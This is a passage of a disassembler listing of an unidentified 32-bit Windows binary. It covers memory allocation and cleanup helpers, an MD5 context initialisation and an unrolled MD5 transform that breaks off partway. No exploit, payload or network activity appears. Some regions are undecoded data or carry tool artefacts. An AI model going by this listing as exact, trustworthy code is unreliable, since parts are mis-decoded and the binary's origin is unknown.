		dw 0F88Bh
		dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
		dd 0C143E890h, 0C085022Fh, 0E8560E74h, 0FFFCCE9Bh, 8B04C483h
		dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------


loc_43492C:				; CODE XREF: sub_4348A0+12j
		pop	esi
		retn
sub_4348A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434960	proc near		; CODE XREF: sub_401609j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	10h
		push	1
		xor	edi, edi
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_434985
		mov	ecx, [esp+8+arg_0]
		pop	edi
		mov	eax, 0Ch
		mov	[ecx], esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434985:				; CODE XREF: sub_434960+15j
		call	near ptr 273064Bh
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_4349AE
		push	esi
		mov	edi, 0Bh
		nop
		call	near ptr 77C2C21Bh
		mov	edx, [esp+0Ch+arg_0]
		add	esp, 4
		xor	eax, eax
		mov	[edx], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4349AE:				; CODE XREF: sub_434960+30j
		mov	eax, [esp+8+arg_4]
		test	eax, eax
		jz	short loc_4349CB
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	dword ptr [esi+8], 0FFFFFFFFh
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4349CB:				; CODE XREF: sub_434960+54j
		mov	ecx, [esp+8+arg_0]
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	esi
		retn
sub_434960	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434A00	proc near		; CODE XREF: sub_401AB4j

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		xor	ebp, ebp
		cmp	ebx, ebp
		jz	loc_434A90
		cmp	[ebx+0Ch], ebp
		jz	short loc_434A6C
		cmp	[ebx+4], ebp
		jz	short loc_434A6C
		lea	eax, [ebx+8]
		push	eax
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_434A6C
		push	esi
		mov	esi, [ebx+0Ch]
		cmp	esi, ebp
		jz	short loc_434A5F
		push	edi


loc_434A33:				; CODE XREF: sub_434A00+5Cj
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_434A5A
		mov	edi, [esi+10h]
		push	esi
		mov	[esi+8], ebp
		mov	[esi+10h], ebp
		call	sub_4010C3
		push	esi
		call	sub_40105F
		add	esp, 8
		mov	esi, edi


loc_434A5A:				; CODE XREF: sub_434A00+3Ej
		cmp	esi, ebp
		jnz	short loc_434A33
		pop	edi


loc_434A5F:				; CODE XREF: sub_434A00+30j
		lea	eax, [ebx+8]
		push	eax
		call	sub_4010C3
		add	esp, 4
		pop	esi


loc_434A6C:				; CODE XREF: sub_434A00+13j
					; sub_434A00+18j ...
		mov	eax, [ebx]
		push	eax
		call	near ptr 2730000h
		nop
		cmp	[ebx+4], ebp
		jz	short loc_434A86
		lea	ecx, [ebx+8]
		push	ecx
		call	sub_402252
		add	esp, 4


loc_434A86:				; CODE XREF: sub_434A00+78j
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_434A90:				; CODE XREF: sub_434A00+Aj
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
sub_434A00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_434AD0	proc near		; CODE XREF: sub_4020F9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_5103B4
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		cmp	esi, eax
		jz	short loc_434AF4
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_434B03
		pop	esi
		mov	eax, 2
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_434AF4:				; CODE XREF: sub_434AD0+11j
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_434B03
		mov	eax, ebx


loc_434B03:				; CODE XREF: sub_434AD0+1Aj
					; sub_434AD0+2Fj
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_434B65
		test	eax, eax
		jz	short loc_434B52
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_434B52
		test	ebx, ebx
		jz	short loc_434B52
		mov	ecx, [eax+80h]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jz	short loc_434B3D


loc_434B27:				; CODE XREF: sub_434AD0+65j
		cmp	[ecx+8], esi
		jz	short loc_434B39
		mov	ecx, [ecx+0Ch]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jnz	short loc_434B27
		jmp	short loc_434B3D
; ---------------------------------------------------------------------------


loc_434B39:				; CODE XREF: sub_434AD0+5Aj
		test	ecx, ecx
		jnz	short loc_434B52


loc_434B3D:				; CODE XREF: sub_434AD0+55j
					; sub_434AD0+67j
		push	esi
		push	eax
		lea	eax, [esp+14h+arg_0]
		push	eax
		call	sub_401DDE
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_434B65


loc_434B52:				; CODE XREF: sub_434AD0+3Cj
					; sub_434AD0+43j ...
		mov	ecx, [esi]
		push	ebx
		push	ecx
		nop
		call	near ptr 2750000h
		test	eax, eax
		jnz	short loc_434B65
		mov	edi, 0Bh


loc_434B65:				; CODE XREF: sub_434AD0+38j
					; sub_434AD0+80j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_434AD0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_434BA0	proc near		; CODE XREF: sub_401190j
		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 27C07F2h
		mov	esi, eax
		call	sub_438250
sub_434BA0	endp

; ---------------------------------------------------------------------------
		dd 448BF88Bh, 88B1024h,	0BEE1E851h, 5690022Eh, 0E890D88Bh
		dd 22EC0C4h, 36CAE857h,	8B5F0000h, 0C35B5EC3h, 3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_434BF0	proc near		; CODE XREF: sub_401A69j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		mov	[eax+14h], ecx
		mov	[eax+10h], ecx
		mov	dword ptr [eax], 67452301h
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	dword ptr [eax+8], 98BADCFEh
		mov	dword ptr [eax+0Ch], 10325476h
		retn
sub_434BF0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434C30	proc near		; CODE XREF: sub_401C26j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, [esp+10h+arg_8]
		mov	ecx, [esi+10h]
		mov	eax, ecx
		lea	edx, ds:0[edi*8]
		shr	eax, 3
		lea	ecx, [ecx+edi*8]
		and	eax, 3Fh
		cmp	ecx, edx
		mov	[esi+10h], ecx
		jnb	short loc_434C5B
		inc	dword ptr [esi+14h]


loc_434C5B:				; CODE XREF: sub_434C30+26j
		mov	ebx, [esi+14h]
		mov	ecx, edi
		shr	ecx, 1Dh
		add	ebx, ecx
		mov	[esi+14h], ebx
		mov	ebx, 40h
		sub	ebx, eax
		cmp	edi, ebx
		jb	short loc_434CB9
		mov	edx, [esp+10h+arg_4]
		push	ebx
		lea	eax, [eax+esi+18h]
		push	edx
		push	eax
		call	sub_435A30
		lea	ecx, [esi+18h]
		push	ecx
		push	esi
		call	sub_434DA0
		mov	ebp, ebx
		add	ebx, 3Fh
		add	esp, 14h
		cmp	ebx, edi
		jnb	short loc_434CB5


loc_434C99:				; CODE XREF: sub_434C30+83j
		mov	edx, [esp+10h+arg_4]
		lea	eax, [edx+ebx-3Fh]
		push	eax
		push	esi
		call	sub_434DA0
		add	ebx, 40h
		add	esp, 8
		add	ebp, 40h
		cmp	ebx, edi
		jb	short loc_434C99


loc_434CB5:				; CODE XREF: sub_434C30+67j
		xor	eax, eax
		jmp	short loc_434CBB
; ---------------------------------------------------------------------------


loc_434CB9:				; CODE XREF: sub_434C30+41j
		xor	ebp, ebp


loc_434CBB:				; CODE XREF: sub_434C30+87j
		mov	ecx, [esp+10h+arg_4]
		sub	edi, ebp
		add	ebp, ecx
		push	edi
		lea	edx, [eax+esi+18h]
		push	ebp
		push	edx
		call	sub_435A30
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_434C30	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434D10	proc near		; CODE XREF: sub_402176j

var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		lea	eax, [esp+8+var_8]
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_4]
		push	8
		lea	esi, [edi+10h]
		push	esi
		push	eax
		call	sub_435950
		mov	eax, [esi]
		add	esp, 0Ch
		shr	eax, 3
		and	eax, 3Fh
		mov	ecx, 38h
		cmp	eax, 38h
		jb	short loc_434D43
		mov	ecx, 78h


loc_434D43:				; CODE XREF: sub_434D10+2Cj
		sub	ecx, eax
		push	ecx
		push	offset aA	; "€"
		push	edi
		call	sub_401C26
		lea	ecx, [esp+1Ch+var_8]
		push	8
		push	ecx
		push	edi
		call	sub_401C26
		mov	edx, [esp+28h+arg_0]
		push	10h
		push	edi
		push	edx
		call	sub_435950
		push	58h
		push	0
		push	edi
		call	sub_435A60
		add	esp, 30h
		pop	edi
		pop	esi
		add	esp, 8
		retn
sub_434D10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434DA0	proc near		; CODE XREF: sub_434C30+58p
					; sub_434C30+73p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 40h
		mov	ecx, [esp+40h+arg_4]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+4Ch+arg_0]
		push	edi
		push	40h
		lea	edx, [esp+54h+var_40]
		mov	eax, [esi]
		mov	edi, [esi+4]
		mov	ebx, [esi+8]
		mov	ebp, [esi+0Ch]
		push	ecx
		push	edx
		mov	[esp+5Ch+arg_0], eax
		call	sub_4359C0
		mov	eax, edi
		mov	edx, [esp+5Ch+arg_0]
		not	eax
		mov	ecx, ebx
		and	eax, ebp
		and	ecx, edi
		or	eax, ecx
		mov	ecx, [esp+5Ch+var_40]
		add	eax, ecx
		lea	ecx, [edx+eax-28955B88h]
		mov	edx, edi
		mov	eax, ecx
		shr	eax, 19h
		shl	ecx, 7
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	edx, eax
		not	ecx
		and	ecx, ebx
		or	ecx, edx
		mov	edx, [esp+5Ch+var_3C]
		add	ecx, edx
		lea	edx, [ecx+ebp-173848AAh]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		mov	ebp, ecx
		not	edx
		and	edx, edi
		and	ebp, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, ecx
		lea	ebx, [ebx+edx+242070DBh]
		mov	edx, ebx
		shr	edx, 0Fh
		shl	ebx, 11h
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		and	ebp, edx
		not	ebx
		and	ebx, eax
		or	ebx, ebp
		mov	ebp, [esp+5Ch+var_34]
		add	ebx, ebp
		lea	ebx, [edi+ebx-3E423112h]
		mov	edi, ebx
		shl	edi, 16h
		shr	ebx, 0Ah
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_30]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	eax, [eax+edi-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		add	edi, ebx
		mov	eax, edi
		and	ebp, edi
		not	eax
		and	eax, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_2C]
		add	eax, ebp
		lea	ecx, [ecx+eax+4787C62Ah]
		mov	eax, ecx
		shr	eax, 14h
		shl	ecx, 0Ch
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		mov	ebp, eax
		not	ecx
		and	ecx, ebx
		and	ebp, edi
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, eax
		lea	edx, [edx+ecx-57CFB9EDh]
		mov	ecx, edx
		shr	ecx, 0Fh
		shl	edx, 11h
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, edi
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_24]
		add	edx, ebp
		lea	ebx, [ebx+edx-2B96AFFh]
		mov	edx, ebx
		shl	edx, 16h
		shr	ebx, 0Ah
		or	edx, ebx
		mov	ebx, ecx
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edi, [edi+edx+698098D8h]
		mov	edx, edi
		shr	edx, 19h
		shl	edi, 7
		or	edx, edi
		add	edx, ebx
		mov	edi, edx
		and	ebp, edx
		not	edi
		and	edi, ecx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	edi, ebp
		lea	eax, [eax+edi-74BB0851h]
		mov	edi, eax
		shr	edi, 14h
		shl	eax, 0Ch
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		not	eax
		mov	ebp, edi
		and	eax, ebx
		and	ebp, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, edi
		lea	ecx, [ecx+eax-0A44Fh]
		mov	eax, ecx
		shr	eax, 0Fh
		shl	ecx, 11h
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ebp, eax
		not	ecx
		and	ecx, edx
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		add	ecx, ebp
		lea	ebx, [ebx+ecx-76A32842h]
		mov	ecx, ebx
		shl	ecx, 16h
		shr	ebx, 0Ah
		or	ecx, ebx
		mov	ebx, eax
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, edi
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_10]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edx, [edx+ecx+6B901122h]
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		add	ecx, ebx
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	edx, ebp
		lea	edi, [edi+edx-2678E6Dh]
		mov	edx, edi
		shr	edx, 14h
		shl	edi, 0Ch
		or	edx, edi
		add	edx, ecx
		mov	ebp, edx
		mov	edi, edx
		not	ebp
		and	edi, ecx
		and	ebx, ebp
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_8]
		add	edi, ebx
		mov	ebx, edx
		lea	eax, [eax+edi-5986BC72h]
		mov	edi, eax
		shr	edi, 0Fh
		shl	eax, 11h
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	ebx, edi
		not	eax
		mov	[esp+5Ch+arg_4], eax
		and	eax, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_4]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax+49B40821h]
		mov	eax, ebx
		shl	eax, 16h
		shr	ebx, 0Ah
		or	eax, ebx
		mov	ebx, edx
		add	eax, edi
		mov	[esp+5Ch+arg_0], eax
		and	ebx, eax
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_3C]
		or	ebx, eax
		add	ebx, ebp
		mov	ebp, edi
		lea	ecx, [ecx+ebx-9E1DA9Eh]
		mov	ebx, [esp+5Ch+arg_0]
		mov	eax, ecx
		shr	eax, 1Bh
		shl	ecx, 5
		or	eax, ecx
		mov	ecx, [esp+5Ch+arg_4]
		add	eax, ebx
		and	ecx, ebx
		and	ebp, eax
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edx, [edx+ecx-3FBF4CC0h]
		and	ebx, eax
		mov	ecx, edx
		shr	ecx, 17h
		shl	edx, 9
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	edx, ebp
		mov	ebp, [esp+5Ch+var_14]
		or	ebx, edx
		add	ebx, ebp
		lea	edi, [edi+ebx+265E5A51h]
		mov	edx, edi
		shr	edx, 12h
		shl	edi, 0Eh
		or	edx, edi
		mov	edi, eax
		add	edx, ecx
		not	edi
		mov	ebx, edx
		and	edi, ecx
		and	ebx, eax
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_40]
		add	edi, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edi-16493856h]
		mov	edi, ebx
		shl	edi, 14h
		shr	ebx, 0Ch
		or	edi, ebx
		mov	ebx, ecx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	edi, ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, edx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_2C]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		lea	eax, [eax+edi-29D0EFA3h]
		mov	edi, eax
		shr	edi, 1Bh
		shl	eax, 5
		or	edi, eax
		mov	eax, edx
		add	edi, ebx
		not	eax
		mov	ebp, edx
		and	eax, ebx
		and	ebp, edi
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	ecx, [ecx+eax+2441453h]
		and	ebx, edi
		mov	eax, ecx
		shr	eax, 17h
		shl	ecx, 9
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ecx, ebp
		mov	ebp, [esp+5Ch+var_4]
		or	ebx, ecx
		add	ebx, ebp
		lea	edx, [edx+ebx-275E197Fh]
		mov	ecx, edx
		shr	ecx, 12h
		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, edi
		add	ecx, eax
		not	edx
		mov	ebx, ecx
		and	edx, eax
		and	ebx, edi
		or	edx, ebx
		mov	ebx, [esp+5Ch+var_30]
		add	edx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edx-182C0438h]
		mov	edx, ebx
		shl	edx, 14h
		shr	ebx, 0Ch
		or	edx, ebx
		mov	ebx, eax
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	edx, eax
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ecx
		lea	edi, [edi+edx+21E1CDE6h]
		mov	edx, edi
		shr	edx, 1Bh
		shl	edi, 5
		or	edx, edi
		mov	edi, ecx
		add	edx, ebx
		not	edi
		and	edi, ebx
		and	ebp, edx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_8]
		add	edi, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	eax, [eax+edi-3CC8F82Ah]
		and	ebx, edx
		mov	edi, eax
		shr	edi, 17h
		shl	eax, 9
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_34]
		or	ebx, eax
		add	ebx, ebp
		lea	ecx, [ecx+ebx-0B2AF279h]
		mov	eax, ecx
		shr	eax, 12h
		shl	ecx, 0Eh
		or	eax, ecx
		mov	ecx, edx
		add	eax, edi
		not	ecx
		mov	ebx, eax
		and	ecx, edi
		and	ebx, edx
		or	ecx, ebx
		mov	ebx, [esp+5Ch+var_20]
		add	ecx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+ecx+455A14EDh]
		mov	ecx, ebx
		shl	ecx, 14h
		shr	ebx, 0Ch
		or	ecx, ebx
		mov	ebx, edi
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ecx, edi
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_C]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, eax
		lea	edx, [edx+ecx-561C16FBh]
		mov	ecx, edx
		shr	ecx, 1Bh
		shl	edx, 5
		or	ecx, edx
		mov	edx, eax
		add	ecx, ebx
		not	edx
		and	edx, ebx
		and	ebp, ecx
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edi, [edi+edx-3105C08h]
		and	ebx, ecx
		mov	edx, edi
		shr	edx, 17h
		shl	edi, 9
		or	edx, edi
		add	edx, ecx
		mov	edi, edx
		and	edi, ebp
		mov	ebp, [esp+5Ch+var_24]
		or	ebx, edi
		add	ebx, ebp
		lea	eax, [eax+ebx+676F02D9h]
		mov	edi, eax
		shr	edi, 12h
		shl	eax, 0Eh
		or	edi, eax
		mov	eax, ecx
		add	edi, edx
		not	eax
		mov	ebx, edi
		and	eax, edx
		and	ebx, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_10]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax-72D5B376h]
		mov	eax, ebx
		shl	eax, 14h
		shr	ebx, 0Ch
		or	eax, ebx
		add	eax, edi
		mov	ebp, [esp+5Ch+var_2C]
		mov	ebx, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		lea	ecx, [ecx+ebx-5C6BEh]
		mov	ebx, ecx
		shr	ebx, 1Ch
		shl	ecx, 4
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, eax
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		lea	ecx, [edx+ecx-788E097Fh]
		mov	edx, ecx
		shr	edx, 15h
		shl	ecx, 0Bh
		or	edx, ecx
		add	edx, ebx
		mov	ecx, edx
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_8]
		lea	ecx, [edi+ecx+6D9D6122h]
		mov	edi, ecx
		shr	edi, 10h
		shl	ecx, 10h
		or	edi, ecx
		mov	ecx, edx
		add	edi, edx
		xor	ecx, edi
		mov	[esp+5Ch+arg_0], ecx
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_3C]
		lea	eax, [eax+ecx-21AC7F4h]
		mov	ecx, eax
		shl	ecx, 17h
		shr	eax, 9
		or	ecx, eax
		mov	eax, [esp+5Ch+arg_0]
		add	ecx, edi
		xor	eax, ecx
		add	eax, ebp
		mov	ebp, [esp+5Ch+var_30]
		lea	ebx, [ebx+eax-5B4115BCh]
		mov	eax, ebx
		shr	eax, 1Ch
		shl	ebx, 4
		or	eax, ebx
		mov	ebx, edi
		add	eax, ecx
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_24]
		lea	edx, [edx+ebx+4BDECFA9h]
		mov	ebx, edx
		shr	ebx, 15h
		shl	edx, 0Bh
		or	ebx, edx
		add	ebx, eax
		mov	edx, ebx
		xor	edx, ecx
		xor	edx, eax
		add	edx, ebp
		lea	edi, [edi+edx-944B4A0h]
		mov	edx, edi
		shr	edx, 10h
		shl	edi, 10h
		or	edx, edi
		mov	edi, ebx
		add	edx, ebx
		xor	edi, edx
		mov	ebp, edi
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_18]
		lea	ebp, [ecx+ebp-41404390h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	ecx, edx
		xor	edi, ecx
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_40]
		lea	edi, [eax+edi+289B7EC6h]
		mov	eax, edi
		shr	eax, 1Ch
		shl	edi, 4
		or	eax, edi
		mov	edi, edx
		add	eax, ecx
		xor	edi, ecx
		xor	edi, eax
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_34]
		lea	ebx, [ebx+edi-155ED806h]
		mov	edi, ebx
		shr	edi, 15h
		shl	ebx, 0Bh
		or	edi, ebx
		add	edi, eax
		mov	ebx, edi
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		lea	edx, [edx+ebx-2B10CF7Bh]
		mov	ebx, edx
		shr	ebx, 10h
		shl	edx, 10h
		or	ebx, edx
		mov	edx, edi
		add	ebx, edi
		xor	edx, ebx
		mov	ebp, edx
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_28]
		lea	ebp, [ecx+ebp+4881D05h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	ecx, ebx
		xor	edx, ecx
		add	edx, ebp
		lea	edx, [eax+edx-262B2FC7h]
		mov	eax, edx
		shr	eax, 1Ch
		shl	edx, 4
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		xor	edx, ecx
		xor	edx, eax
		add	edx, [esp+5Ch+var_10]
		lea	edi, [edi+edx-1924661Bh]
		mov	edx, edi
		shr	edx, 15h
		shl	edi, 0Bh
		or	edx, edi
		add	edx, eax
		mov	edi, edx
		xor	edi, ecx
		xor	edi, eax
		add	edi, [esp+5Ch+var_4]
		lea	ebx, [ebx+edi+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, [esp+5Ch+var_38]
		lea	ecx, [ecx+ebx-3B53A99Bh]
		mov	ebx, ecx
		shl	ebx, 17h
		shr	ecx, 9
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_40]
		lea	eax, [eax+ecx-0BD6DDBCh]
		mov	ecx, eax
		shr	ecx, 1Ah
		shl	eax, 6
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_24]
		lea	edx, [edx+eax+432AFF97h]
		mov	eax, edx
		shr	eax, 16h
		shl	edx, 0Ah
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_8]
		lea	edi, [edi+edx-546BDC59h]
		mov	edx, edi
		shr	edx, 11h
		shl	edi, 0Fh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_2C]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_10]
		lea	ecx, [ecx+ebx+655B59C3h]
		mov	ebx, ecx
		shr	ebx, 1Ah
		shl	ecx, 6
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_34]
		lea	eax, [eax+ecx-70F3336Eh]
		mov	ecx, eax
		shr	ecx, 16h
		shl	eax, 0Ah
		or	ecx, eax
		mov	eax, edi
